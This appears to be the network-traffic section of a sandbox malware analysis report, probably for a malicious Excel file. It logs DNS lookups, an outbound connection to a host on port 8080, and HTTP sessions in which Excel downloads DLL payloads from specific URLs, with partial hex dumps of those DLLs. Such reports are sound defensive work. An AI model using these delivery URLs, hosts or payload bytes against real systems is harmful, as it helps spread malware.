May 23, 2022 09:00:56.917287111 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.917323112 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.935044050 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.935076952 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.935101032 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.935111046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.935147047 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.935158968 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.948225021 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.948367119 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.948404074 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.948462963 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.954560041 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.954647064 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.954690933 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.954725981 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.973561049 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.973627090 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.973673105 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.973695040 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.973701954 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.973745108 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.990128994 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.990195036 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.990209103 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.990242958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.990263939 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.990278959 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.995053053 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.995090961 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.995119095 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.995121956 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.995146990 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.995174885 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.010705948 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.010802984 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.010823965 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.010848999 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.010876894 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.010881901 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.017115116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.017179966 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.033204079 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.033229113 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.033245087 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.033272028 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.033296108 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.033299923 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.033337116 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.058135033 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.058161020 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.058176994 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.058192968 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.058207035 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.058238029 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.058243036 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.073262930 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.073287010 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.073307991 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.073328972 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.073354006 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.073385954 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.088884115 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.088926077 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.088944912 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.088959932 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.088970900 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.088996887 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.089000940 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.089041948 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.104507923 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.104545116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.104567051 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.104619980 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.104661942 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.120110035 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.120148897 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.120172977 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.120191097 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.120197058 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.120223045 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.120228052 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.120229959 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.136269093 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.136305094 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.136328936 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.136351109 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.136395931 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.136401892 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.151408911 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.151463985 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.151504040 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.151505947 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.151544094 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.151546955 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.151555061 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.151595116 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.167064905 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.167128086 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.167170048 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.167208910 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.167211056 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.167272091 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.167280912 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.182733059 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.182780981 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.182818890 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.182857990 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.182879925 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.182925940 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.182934046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.182940006 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:57.198183060 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:57.198352098 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:01:32.747643948 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:32.920866013 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:32.921032906 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:33.123497009 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:33.296674967 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:33.314415932 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:33.314440012 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:33.314538002 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:33.314567089 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:33.363708973 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:33.536870003 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:33.540446997 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:33.540642023 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:36.017899036 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:36.191375017 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:36.872672081 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:36.872942924 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:39.889571905 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:39.889595985 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:01:39.889755964 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:01:49.536953926 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:01:50.129317045 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:01:50.785705090 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:01:52.017033100 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:01:54.435265064 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:01:59.240597963 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:02:08.897792101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:02:18.665324926 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:02:18.668891907 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:02:54.762828112 CEST	80	49178	138.219.41.210	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 08:59:56.366964102 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 08:59:56.484303951 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 09:00:00.250773907 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 09:00:00.381565094 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 09:00:32.750127077 CEST	55275	53	192.168.2.22	8.8.8.8
May 23, 2022 09:00:32.770751953 CEST	53	55275	8.8.8.8	192.168.2.22
May 23, 2022 09:00:54.467794895 CEST	59915	53	192.168.2.22	8.8.8.8
May 23, 2022 09:00:54.488017082 CEST	53	59915	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 08:59:56.366964102 CEST	192.168.2.22	8.8.8.8	0x1405	Standard query (0)	www.melisetotoaksesuar.com	A (IP address)	IN (0x0001)
May 23, 2022 09:00:00.250773907 CEST	192.168.2.22	8.8.8.8	0xa84d	Standard query (0)	elamurray.com	A (IP address)	IN (0x0001)
May 23, 2022 09:00:32.750127077 CEST	192.168.2.22	8.8.8.8	0xca36	Standard query (0)	masyuk.com	A (IP address)	IN (0x0001)
May 23, 2022 09:00:54.467794895 CEST	192.168.2.22	8.8.8.8	0x68ba	Standard query (0)	jr-software-web.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 23, 2022 08:59:56.484303951 CEST	8.8.8.8	192.168.2.22	0x1405	No error (0)	www.melisetotoaksesuar.com	melisetotoaksesuar.com		CNAME (Canonical name)	IN (0x0001)
May 23, 2022 08:59:56.484303951 CEST	8.8.8.8	192.168.2.22	0x1405	No error (0)	melisetotoaksesuar.com		212.98.224.29	A (IP address)	IN (0x0001)
May 23, 2022 09:00:00.381565094 CEST	8.8.8.8	192.168.2.22	0xa84d	No error (0)	elamurray.com		66.84.31.11	A (IP address)	IN (0x0001)
May 23, 2022 09:00:32.770751953 CEST	8.8.8.8	192.168.2.22	0xca36	No error (0)	masyuk.com		128.199.252.32	A (IP address)	IN (0x0001)
May 23, 2022 09:00:54.488017082 CEST	8.8.8.8	192.168.2.22	0x68ba	No error (0)	jr-software-web.net		138.219.41.210	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.melisetotoaksesuar.com

elamurray.com

jr-software-web.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	212.98.224.29	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	66.84.31.11	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:00:00.499557018 CEST	375	OUT	GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: elamurray.com Connection: Keep-Alive
May 23, 2022 09:00:00.677292109 CEST	377	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:00:00 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:00:00 GMT Content-Disposition: attachment; filename="F3DOS06hLF1rUq3s6XOB.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b30f095562=1653289200; expires=Mon, 23-May-2022 07:01:00 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:00:00 GMT Content-Length: 376320 Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ea 8c e5 53 ae ed 8b 00 ae ed 8b 00 ae ed 8b 00 c1 9b 15 00 a4 ed 8b 00 c1 9b 21 00 ce ed 8b 00 a7 95 18 00 a9 ed 8b 00 ae ed 8a 00 cb ed 8b 00 c1 9b 20 00 84 ed 8b 00 c1 9b 10 00 af ed 8b 00 c1 9b 11 00 af ed 8b 00 ae ed 1c 00 ac ed 8b 00 c1 9b 16 00 af ed 8b 00 52 69 63 68 ae ed 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c5 a2 86 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 60 01 00 00 82 04 00 00 00 00 00 7c 90 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 90 fc 01 00 72 00 00 00 24 f2 01 00 50 00 00 00 00 70 02 00 98 90 03 00 00 50 02 00 3c 12 00 00 00 00 00 00 00 00 00 00 00 10 06 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 01 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5e 01 00 00 10 00 00 00 60 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 8d 00 00 00 70 01 00 00 8e 00 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 43 00 00 00 00 02 00 00 1c 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 3c 12 00 00 00 50 02 00 00 14 00 00 00 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 98 90 03 00 00 70 02 00 00 92 03 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 08 00 00 00 10 06 00 00 0a 00 00 00 b4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S! RichPEdb" `\| @r$PpP<p .textZ^` `.rdatapd@@.dataC@.pdata<P@@.rsrcp"@@.reloc@B
May 23, 2022 09:00:00.677325010 CEST	378	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 23, 2022 09:00:00.677349091 CEST	380	IN	Data Raw: 48 8b ec 48 83 ec 70 83 65 c0 00 83 65 c4 00 48 8d 05 30 ff ff ff ba 6b 00 00 00 48 89 45 b8 c7 45 b0 50 00 00 00 c7 45 b4 03 00 00 00 48 89 4d c8 ff 15 2b 5e 01 00 ba 00 7f 00 00 33 c9 48 89 45 d0 ff 15 22 5e 01 00 48 8b 4d c8 ba 6c 00 00 00 48 Data Ascii: HHpeeH0kHEEPEHM+^3HE"^HMlHEHHEHEHEm]HMHE]Hp]H\$Ht$WH HH3HcHwDuHLHHPhDHHcHHtQHyHDE3Ht$8HH\$
May 23, 2022 09:00:00.677372932 CEST	381	IN	Data Raw: f4 ff ff 48 81 ec 20 0c 00 00 48 8b 05 7f ec 01 00 48 33 c4 48 89 85 10 0b 00 00 ff ca 48 8b f9 0f 85 93 3c 00 00 c7 44 24 50 0a fe 0e 65 c7 44 24 54 5d 33 60 13 c7 44 24 58 0e 13 39 76 45 33 ff c7 44 24 5c 39 03 00 72 c7 44 24 60 07 61 b8 fd c7 Data Ascii: H HH3HH<D$PeD$T]3`D$X9vE3D$\9rD$`aD$d$zD$hDjmD$lXRmD$pD$t;;)PD$xQLD$\|$EE'DrdE~{dE5EOE{E*%!ErE}EwBAE~E oE$SEx9
May 23, 2022 09:00:00.677397966 CEST	382	IN	Data Raw: 00 48 6a 1a be c7 85 ac 01 00 00 1d 09 f2 15 c7 85 b0 01 00 00 24 62 72 42 c7 85 b4 01 00 00 44 55 2e be c7 85 b8 01 00 00 11 7d 72 2c c7 85 bc 01 00 00 c8 b8 0a dd c7 85 c0 01 00 00 7f 74 19 7d c7 85 c4 01 00 00 dc 45 92 32 c7 85 c8 01 00 00 71 Data Ascii: Hj$brBDU.}r,t}E2qwaqBV3mqBdB2erquHD"m r\)9QH#fa
May 23, 2022 09:00:00.677419901 CEST	384	IN	Data Raw: 03 00 00 52 08 de 23 c7 85 c4 03 00 00 3b 00 5a 98 c7 85 c8 03 00 00 e7 3b 6e 00 c7 85 cc 03 00 00 64 3f 53 68 c7 85 d0 03 00 00 bd 59 4d 41 c7 85 d4 03 00 00 b5 07 7a 9b c7 85 d8 03 00 00 14 ed 0d d2 c7 85 dc 03 00 00 9d 92 62 1c c7 85 e0 03 00 Data Ascii: R#;Z;nd?ShYMAzboNP&Bwx(V<Wm7 {+_TB;{<mi\Rm{.~:GwB6Z<
May 23, 2022 09:00:00.677443981 CEST	385	IN	Data Raw: 85 d8 05 00 00 c9 94 d8 7a c7 85 dc 05 00 00 4f 74 6a ce c7 85 e0 05 00 00 37 64 0b 62 c7 85 e4 05 00 00 96 2e be 49 c7 85 e8 05 00 00 5a 1b e6 f5 c7 85 ec 05 00 00 24 83 be 23 c7 85 f0 05 00 00 5f 9e f5 ba c7 85 f4 05 00 00 11 24 36 79 c7 85 f8 Data Ascii: zOtj7db.IZ$#_$6y tzf;oYhAHCsHVrV$4m%x N{4$*I(Sm7(,{P0)5^4>vBA8
May 23, 2022 09:00:00.677468061 CEST	387	IN	Data Raw: 4e c7 85 f0 07 00 00 09 56 95 7f c7 85 f4 07 00 00 46 a2 1e 54 c7 85 f8 07 00 00 31 18 1e 1f c7 85 fc 07 00 00 b8 47 61 b0 c7 85 00 08 00 00 83 79 4a 33 c7 85 04 08 00 00 4d f6 97 55 c7 85 08 08 00 00 e1 ae 76 1a c7 85 0c 08 00 00 ee f5 6e 0b c7 Data Ascii: NVFT1GayJ3MUvn*8@Kw}] P$$x(lH,#fa03wa4y4s8H`<h@HJD;Hj!Lj6Q
May 23, 2022 09:00:00.677491903 CEST	388	IN	Data Raw: db 7c 27 c7 85 08 0a 00 00 1e b8 54 0c c7 85 0c 0a 00 00 55 51 00 42 c7 85 10 0a 00 00 fc b3 09 de c7 85 14 0a 00 00 36 2b 09 d2 c7 85 18 0a 00 00 18 7d 7a e7 c7 85 1c 0a 00 00 03 66 7e d5 c7 85 20 0a 00 00 e9 3a d5 b4 c7 85 24 0a 00 00 42 77 42 Data Ascii: \|'TUQB6+}zf~ :$BwB(Zvr,1-0_4Y:.8f5<U3@EYDCH7taLxPT1xX{HJ\&`Pdzx4
May 23, 2022 09:00:00.677517891 CEST	390	IN	Data Raw: ff 48 8d 15 6c 3d 01 00 48 8b ce e8 3c dd ff ff b2 0a 48 8b c8 48 8b d8 e8 4f df ff ff 48 8b cb e8 cf db ff ff 48 8d 15 68 3d 01 00 48 8b ce e8 18 dd ff ff b2 0a 48 8b c8 48 8b d8 e8 2b df ff ff 48 8b cb e8 ab db ff ff 48 8d 15 64 3d 01 00 48 8b Data Ascii: Hl=H<HHOHHh=HHH+HHd=HHHHH`=HHHHcH\=HHHH?HX=HHHHHT=HdHHw
May 23, 2022 09:00:00.792331934 CEST	391	IN	Data Raw: 01 00 48 8b ce e8 08 d8 ff ff b2 0a 48 8b c8 48 8b d8 e8 1b da ff ff 48 8b cb e8 9b d6 ff ff 48 8d 15 d4 3c 01 00 48 8b ce e8 e4 d7 ff ff b2 0a 48 8b c8 48 8b d8 e8 f7 d9 ff ff 48 8b cb e8 77 d6 ff ff 48 8d 15 d0 3c 01 00 48 8b ce e8 c0 d7 ff ff Data Ascii: HHHHH<HHHHwH<HHHHSH<HHHH/H<HxHHHH<HTHHgHH<H0HHCH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49178	138.219.41.210	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:00:54.759550095 CEST	846	OUT	GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jr-software-web.net Connection: Keep-Alive
May 23, 2022 09:00:55.038351059 CEST	847	IN	HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/x-msdownload Expires: Mon, 23 May 2022 07:00:53 GMT Last-Modified: Mon, 23 May 2022 07:00:53 GMT Server: Microsoft-IIS/8.5 Set-Cookie: 628b312600786=1653289253; expires=Mon, 23-May-2022 07:01:53 GMT; Max-Age=60; path=/ Content-Disposition: attachment; filename="LjSKxP.dll" Content-Transfer-Encoding: binary X-Powered-By: ASP.NET Date: Mon, 23 May 2022 07:00:53 GMT Content-Length: 365056 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 